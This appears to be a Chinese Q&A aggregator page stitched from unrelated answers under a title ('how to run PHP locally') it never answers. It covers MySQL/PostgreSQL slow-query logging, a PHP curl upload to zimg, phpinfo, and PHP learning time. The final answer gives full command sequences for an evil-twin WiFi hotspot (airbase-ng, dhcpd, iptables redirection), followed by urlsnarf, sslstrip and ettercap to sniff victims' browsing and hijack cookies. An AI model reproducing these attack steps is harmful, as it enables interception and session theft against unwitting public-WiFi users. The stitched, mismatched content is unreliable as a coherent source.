首页 开发编程 正文

php跑本地怎么跑

如何对数据库中慢SQL进行快速定位?定位数据库慢查询SQL有多种方式,大部分都是多年DBA在自己多年的数据库运维经验基础上针对某种数据库定制的监测系统,是专门针对微软SQLServer数据库某一段时间的采样数据分析、诊断,四、使用数据库系统自身的日志功能许多数据库的日志系统都带有慢查询记录功能,可以先直接使用数据库日志来记录慢查询,它...

php跑本地怎么跑,如何对数据库中慢SQL进行快速定位?

定位数据库慢查询SQL有多种方式,根据具体使用的数据库种类和经济实力来定:

一、使用APM产品

APM全程为Application Performance Management,软硬件解决方案都有,如果经济实力不错,直接买大厂商的APM产品最为省时省力,而且还附带报警和分析功能。

APM不仅是管理数据库性能的,还可以对应用服务器进行检测,对Java、.NET、PHP、Ruby、Python、NodeJS等语言开发的应用程序性能进行监测。

目前市面上很多,有像深信服等提供的集成在硬件中的一体机式的,还有一些纯软件的APM产品,例如像OneAPM那样即可以本地部署的,还可以本地安装弹针然后云端SaaS部署的。这里就不一一列举了,大家可以根据自己预算找相应的厂家咨询。

二、使用专门的数据库监测产品

市面上还有一类小众的专门针对数据库的产品。大部分都是多年DBA在自己多年的数据库运维经验基础上针对某种数据库定制的监测系统,除了针对数据库各个性能指标进行监测报警外,还提供智能分析和性能优化等服务。

例如作为微软中国SQL Server金牌合作伙伴的北京格瑞趋势公司所推出的SQL专家云等产品,是专门针对微软SQL Server数据库某一段时间的采样数据分析、诊断,主要的应用场景包括:对数据库进行体检,自动形成体检报告;分析当前系统存在的问题及隐患;分析采样时段的性能问题及根源;分析数据库的参数配置及索引;自动优化并生产可执行的脚本。

三、使用开源运维监控系统

例如Zabbix、Nagios、Grafana、Open-falcon等,这些开源系统同APM产品类似,但主要是提供给服务器运维人员使用的,内置了一部分数据库监控的功能,有的插件很多,功能和界面都还是不错的。

但是开源产品的安装和使用需要有较高水平的运维人员来使用,需要自己来摸索适合的方式,针对性也不够强。而且由于缺少支持,遇到问题解决起来比较麻烦。

四、使用数据库系统自身的日志功能

许多数据库的日志系统都带有慢查询记录功能,对于流量不大的系统,又不想投入大量金钱,可以先直接使用数据库日志来记录慢查询,然后定期汇总分析,持续优化应用程序系统。一般用在开发期,或系统刚上线的试运行期。

例如MySQL的慢查询日志,它用来记录在MySQL中响应时间超过阀值的语句,具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。long_query_time的默认值为10,意思是运行10S以上的语句。默认情况下,Mysql数据库并不启动慢查询日志,需要我们手动来设置这个参数,当然,如果不是调优需要的话,一般不建议启动该参数,因为开启慢查询日志会或多或少带来一定的性能影响。

MySQL 慢查询的相关参数解释:

slow_query_log :是否开启慢查询日志,1表示开启,0表示关闭。

log-slow-queries :旧版(5.6以下版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log

slow-query-log-file:新版(5.6及以上版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log

long_query_time :慢查询阈值,当查询时间多于设定的阈值时,记录日志。

log_queries_not_using_indexes:未使用索引的查询也被记录到慢查询日志中(可选项)。

log_output:日志存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。日志记录到系统的专用日志表中,要比记录到文件耗费更多的系统资源,因此对于需要启用慢查询日志,又需要能够获得更高的系统性能,那么建议优先记录到文件。

Postgrsql也有类似的慢查询日志记录方式,PostgreSQL 日志支持的输出格式有 stderr(默认)、csvlog 、syslog。一般的错误跟踪,只需在配置文件“postgresql.conf”简单设置几个参数,当然还有错误级别等要设置。

Postgresql 慢查询配置相关参数:

logging_collector = onlog_destination = 'stderr'log_directory = 'log'log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'

查询控制台查看当前慢查询设置:

show log_min_duration_statement;

===>5s

PHP实现上传图片到zimg服务器?

最近我们项目需要一台图片服务器存储用户头像,我们使用zimg处理和存储图片,下面简单介绍一下如何使用PHP上传图片到zimg,并获取相应图片的返回信息使用curl库实现上传根据zimg使用文档,我们想要让zimg返回json信息,就必须raw_post上传图片,下面是演示代码$upload_url='http://192.168.0.99:5000/upload';$image_file='./test.jpg'

;//获取图片后缀$value=explode(".",$image_file);$extension=strtolower(array_pop($value))

;//生成本地临时存储路径,并生成相应文件夹$dir='aurthur';$save_path='uploads/'.$dir.'/'.date('Y').'/'.date('md').'/';$save_rule=md5(uniqid(mt_rand(),true))

;if(!is_dir($save_path)){if(false===mkdir($save_path,0700,true)){exit('创建文件夹失败');}}$save_image_file=$save_path.$save_rule.".$extension"

;//把图片存储到临时路径file_put_contents($save_image_file,file_get_contents($image_file))

;//获取临时保存的图片的真实地址(绝对路径)$realpath=realpath($save_image_file)

;//上传图片到zimg图片存储服务$ch=curl_init()

;//将图片内容读取到变量$post_data;$post_data=file_get_contents($realpath);$headers=array()

;//一定要添加此header$headers[]='Content-Type:'.$extension;curl_setopt($ch,CURLOPT_URL,$upload_url)

;curl_setopt($ch,CURLOPT_HEADER,false)

;curl_setopt($ch,CURLOPT_HTTPHEADER,$headers)

;curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_POST,true)

;curl_setopt($ch,CURLOPT_BINARYTRANSFER,true)

;curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data)

;//raw_post方式$info=curl_exec($ch);curl_close($ch);$json=json_decode($info,true);$signature=$json['info']['md5'];echo$signature;如果想测试代码的话,请把上面的uploadurl改成你自己的zimg服务器地址,并把image_file改成你需要上传的图片的路径

phpinfo怎么用?

浏览器直接访问可以执行php文件,php代码如下:<?phpphpinfo();?>phpinfo包含了当前状态的大量信息,包含了PHP编译选项、启用的扩展、PHP版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path变量、配置选项的本地值和主值、HTTP头和PHP授权信息(License):可以通过指定参数,显示相应模块的配置信息:phpinfo函数在php开发中非常使用,方便查看版本号,扩展状态,系统配置数据等,但它同时也是中级危险函数,通过它可以暴露很多系统信息。

PHP自学要多久?

我国移动互联网进入高速发展的阶段,规模不断扩大,增速飞快,用户体验至上的时代已经来临。随着技术领域的逐步拓展,产品生产的人性化意识日趋增强,php软件开发工程师成功跻身互联网十大紧俏职业之一。

IT是很现实的环境,能者居上,只要你有技术,就能在互联网找到自己的立足之地,那么如何才能让自己快速成为php开发高手,学习php需要多长时间?PHP编程语言入门门槛较低,而且在众多IT岗位中,PHP开发工程师是属于转正后薪资递增快,较其他开发者更胜一筹。目前,就本地在使用了PHP技术的企业也占据绝大部分。

作为PHP开发工程师,要写一手好的程序,没有过硬的PHP基础知识,哪怕心态再好,问题解决的能力再强,也只能纸上谈兵,过硬的基础知识能够让你在项目开发过程中游刃有余。

怎么转发所有客户端请求到指定ip?

方案1:iwconfig命令查看是否成功识别airmon-ng命令查看无线网卡情况,找到接入的USB无线网卡名称,airmon-ng start wlan2命令使USB无线网卡工作在监听模式; airbase-ng –e “KFC” –c 11 wlan0mon命令并回车,这样就生成了一个工作在11频道、SSID名称为“KFC”的热点; ifconfig –a命令,查看接口网卡at0是否存在,确认存在后, ifconfig at0 up命令启动接口网卡at0; 配置DHCP服务的各项参数,vim /etc/dhcp/dhcpd.conf命令并回车,开始编辑isc-dhcpd软件的配置文件,其中:ddns-update-style none表示不自动更新DNS与DHCP服务器的动态信息subnet 192.168.100.0 netmask 255.255.255.0表示IP地址段为192.168.100.0/24,子网掩码为255.255.255.0range 192.168.100.50 192.168.100.100表示用于分配的IP地址为.50-.200option subnet-mask 设置子网掩码,option broadcast-address设置广播地址option routers 192.168.100.1表示设置网关为192.168.100.1option domain-name-servers 10.0.1.106表示设置DNS解析服务器为10.0.1.106 配置详细:subnet 192.168.100.0 netmask 255.255.255.0 {range 192.168.100.50 192.168.100.200;option subnet-mask255.255.255.0; #子网掩码option broadcast-address192.168.100.255; #广播地址option routers192.168.100.1; #网关option domain-name-sercers10.0.1.106; #DNS解析服务器,.106这个ip是bt5的(另外一台虚拟机)default-lease-time 21600;max-lease-time 43200;} 编辑好后,按“Esc”键,敲入“:wq”保存退出.ifconfig at0 192.168.100.1 netmask 255.255.255.0命令并回车,设置接口网卡at0的ip地址和子网掩码;route add –net 192.168.100.0 netmask 255.255.255.0 gw 192.168.100.1命令并回车,表示增加一条路由记录,使192.168.100.1网关生效;dhcpd –d –f –cf /etc/dhcp/dhcpd.conf at0命令并回车,启动DHCP服务; 打开新的终端echo 1 > /proc/sys/net/ipv4/ip_forward命令并回车,开启系统数据转发功能;iptables –t nat –A POSTROUTING --out-interface eth0 –j MASQUERADE命令并回车,设置iptables转发,将所有数据转发到eth0网卡;urlsnarf –i at0启动urlsnarf软件,嗅探输出at0网卡上所有HTTP访问记录; 方案2:使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:Aircrack-ng 套件 #用来发送数据isc-dhcp-server #简单的dhcp服务器sslstrip #突破ssl加密ettercap #嗅探劫持vim /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件,修改如下:authoritative;default-lease-time 700;max-lease-time 8000;subnet 10.0.0.0 netmask 255.255.255.0 {option routers 10.0.0.1;option subnet-mask 255.255.255.0;option domain-name "FreeWiFi";option domain-name-servers 10.0.0.1;range 10.0.0.10 10.0.0.100; }然后激活网卡至监听模式:airmon-ng start wlan0airbase-ng -e FreeWiFi -c 6 mon0此时虚拟wifi的信号已经发送出去了,如果出现错误:Error: Got channel -1, expected a value > 0.执行如下命令:airmon-ng stop mon0ifconfig wlan0 downiwconfig wlan0 mode monitorifconfig wlan0 up然后从激活网卡至监听模式那里重新开始。接着执行如下命令:ifconfig at0 upifconfig at0 10.0.0.1 netmask 255.255.255.0ifconfig at0 mtu 1400route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1iptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chainecho 1 > /proc/sys/net/ipv4/ip_forwardiptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1iptables -P FORWARD ACCEPTiptables --append FORWARD --in-interface at0 -j ACCEPTiptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADEiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0/etc/init.d/isc-dhcp-server start虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:sslstrip -fpk 10000ettercap -Tpuqi at0

本文转载自互联网,如有侵权,联系删除